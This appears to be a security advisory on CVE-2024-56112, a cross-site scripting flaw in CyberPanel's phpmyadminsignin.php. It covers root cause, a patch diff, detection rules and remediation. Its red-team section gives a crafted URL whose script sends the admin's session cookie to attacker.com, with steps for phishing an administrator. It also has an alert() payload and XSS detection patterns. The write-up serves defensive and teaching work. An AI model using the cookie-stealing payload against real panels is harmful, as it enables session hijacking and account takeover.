CVE-2024-56112

Executive Summary

CVE-2024-56112 is a stored Cross-Site Scripting (XSS) vulnerability in CyberPanel (Cyber Panel) versions prior to commit f0cf648. The flaw exists in the plogical/phpmyadminsignin.php endpoint, where user-controlled input via the token or username parameters is not properly sanitized before being rendered. An attacker can inject arbitrary JavaScript code that executes in the context of an authenticated administrator’s browser session. This can lead to session hijacking, credential theft, or further compromise of the CyberPanel management interface. The vulnerability is publicly known, and proof-of-concept code is available.

Supply Chain & Package Security

CyberPanel is a self-contained web hosting control panel. This vulnerability does not directly affect upstream package registries (NPM, PyPI, Go, Ruby). However, the panel may be distributed via third-party repositories or Docker images; users should verify they are running a patched version (commit f0cf648 or later).

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – the vulnerable endpoint may be accessible without authentication.
• User Interaction (UI): Required (R) – the victim must view the crafted page.
• Scope (S): Changed (C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – potential for session token theft.
• Integrity (I): High (H) – attacker can modify panel settings.
• Availability (A): Low (L) – limited impact on availability.

Estimated CVSS Score: 8.2 (High)

Threat Level: High – due to low attack complexity and potential for full panel compromise.

Deep Dive & Mechanics

The vulnerability resides in the plogical/phpmyadminsignin.php file. This script handles the sign-in process for phpMyAdmin integration within CyberPanel. The token and username parameters are taken directly from user input (likely via GET or POST) and echoed back into the HTML response without proper encoding or sanitization.

Root Cause: Lack of output encoding for user-supplied data in the response. The application does not use functions like htmlspecialchars() or equivalent before embedding the input into the page.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payload in the token or username parameter.
2. The attacker tricks an authenticated CyberPanel administrator into visiting this URL (e.g., via phishing email or a link on a compromised site).
3. The server processes the request and returns an HTML page containing the unsanitized payload.
4. The victim’s browser executes the injected JavaScript.
5. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a malicious site.

Example Payload:

https://target-cyberpanel:8090/plogical/phpmyadminsignin.php?token=<script>alert('XSS')</script>

Vulnerable vs. Patched Code

Vulnerable Code (before f0cf648):

// plogical/phpmyadminsignin.php (simplified)
$token = $_GET['token'];
echo "<input type='hidden' name='token' value='$token'>";

Patched Code (after f0cf648):

// plogical/phpmyadminsignin.php (simplified)
$token = htmlspecialchars($_GET['token'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='token' value='$token'>";

The patch applies htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A CyberPanel instance running a version prior to commit f0cf648.
• A web browser with developer tools.

Steps:

1. Identify the target CyberPanel URL (e.g., https://target:8090).
2. Craft a malicious URL:

   https://target:8090/plogical/phpmyadminsignin.php?token=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the URL to an authenticated admin (e.g., via email or social engineering).
4. When the admin visits the URL, the script executes and exfiltrates their session cookie to the attacker’s server.
5. Use the stolen cookie to impersonate the admin.

Proof-of-Concept (Python):

import requests

target = "https://target:8090"
payload = "<script>alert('XSS')</script>"
url = f"{target}/plogical/phpmyadminsignin.php?token={payload}"
print(f"Send this URL to an admin: {url}")

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests to /plogical/phpmyadminsignin.php containing suspicious characters like <, >, script, onerror, etc.
2. Use a Web Application Firewall (WAF) to block requests with XSS patterns in the token or username parameters.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly update CyberPanel to the latest version.

Lab Setup:

• Deploy a vulnerable CyberPanel instance in an isolated environment (e.g., Docker).
• Use a tool like Burp Suite to intercept and modify requests.
• Simulate the attack and verify detection rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /plogical/phpmyadminsignin.php with token or username parameters containing HTML/JavaScript.
  • Outbound connections to unknown domains from the CyberPanel server (potential data exfiltration).
• File IOCs:
  • Modified plogical/phpmyadminsignin.php file (if attacker has write access).
• Log IOCs:
  • Web server logs showing unusual characters in the token or username fields.
  • Browser console errors indicating blocked scripts (if CSP is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_56112_XSS_CyberPanel {
    meta:
        description = "Detects XSS attempts targeting CyberPanel phpmyadminsignin.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56112"
    strings:
        $xss1 = /token=.*<script/i
        $xss2 = /username=.*<script/i
        $xss3 = /token=.*onerror/i
        $xss4 = /username=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CyberPanel XSS Attempt via phpmyadminsignin.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting CyberPanel phpmyadminsignin.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/plogical/phpmyadminsignin.php'
        cs-uri-query|re:
            - 'token=.*<script'
            - 'username=.*<script'
            - 'token=.*onerror'
            - 'username=.*onerror'
    condition: selection
falsepositives:
    - Legitimate use of special characters in token (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56112 CyberPanel XSS Attempt"; flow:to_server; content:"/plogical/phpmyadminsignin.php"; http_uri; pcre:"/(token|username)=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update CyberPanel to the latest version that includes commit f0cf648 or later.
2. WAF Rules: Deploy WAF rules to block requests containing <script> or onerror in the token or username parameters.
3. Input Validation: Implement server-side validation to reject input containing HTML tags.

Long-Term Measures:

• Enforce Content Security Policy (CSP) headers.
• Conduct regular security audits and penetration testing.
• Educate administrators about phishing risks.

Workaround (if patching is not possible):

• Restrict access to the /plogical/ directory via .htaccess or firewall rules to only trusted IP addresses.
• Disable phpMyAdmin integration if not required.

Valters IT